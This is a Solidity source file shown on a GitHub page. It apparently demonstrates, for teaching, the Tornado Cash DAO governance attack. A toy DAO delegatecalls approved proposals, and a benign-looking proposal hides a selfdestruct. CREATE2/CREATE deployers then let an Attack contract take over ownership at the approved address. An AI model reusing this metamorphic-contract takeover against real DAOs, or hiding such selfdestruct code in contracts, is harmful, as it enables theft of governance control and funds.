-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathTornadoCashDAOHack.sol
96 lines (77 loc) · 2.67 KB
/
TornadoCashDAOHack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract TornadoCashDAO {
struct DAOProposal {
address target;
bool approved;
bool executed;
}
address public owner = msg.sender;
DAOProposal[] public proposals;
// Function to approve an incoming proposal contract
function approve(address target) external {
require(msg.sender == owner, "not authorized");
proposals.push(DAOProposal({target: target, approved: true, executed: false}));
}
// Function to execute the proposal upgrade
function execute(uint256 proposalId) external payable {
DAOProposal storage proposal = proposals[proposalId];
require(proposal.approved, "not approved");
require(!proposal.executed, "executed");
proposal.executed = true;
(bool ok, ) = proposal.target.delegatecall(
abi.encodeWithSignature("executeProposal()")
);
require(ok, "delegatecall failed");
}
}
// The innocent looking Proposal that passed a vote to be verified and approved.
contract Proposal {
event Log(string message);
// The function called from the `execute` function's delegatecall
// Never actually used in `Proposal`, but used in `Attack`.
function executeProposal() external {
emit Log("Excuted code approved by DAO");
}
// Attacker somehow hid selfdestruct code via innocent looking function
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
// The malicious contract
contract Attack {
event Log(string message);
address public owner;
// The function called from the `execute` function's delegatecall
function executeProposal() external {
emit Log("Excuted code not approved by DAO :)");
// For example - set DAO's owner to attacker
owner = msg.sender;
}
}
contract DeployerUsingCreate2 {
event Log(address addr);
// Deploys the `DeployerUsingCreate` contract with `create2` methodology.
function deploy() external {
bytes32 salt = keccak256(abi.encode(uint(123)));
address addr = address(new DeployerUsingCreate{salt: salt}());
emit Log(addr);
}
}
contract DeployerUsingCreate {
event Log(address addr);
// Deploys the `Proposal` contract
function deployProposal() external {
address addr = address(new Proposal());
emit Log(addr);
}
// Deploys the `Attack` contract
function deployAttack() external {
address addr = address(new Attack());
emit Log(addr);
}
// Self destructs the `DeployerUsingCreate`
function kill() external {
selfdestruct(payable(address(0)));
}
}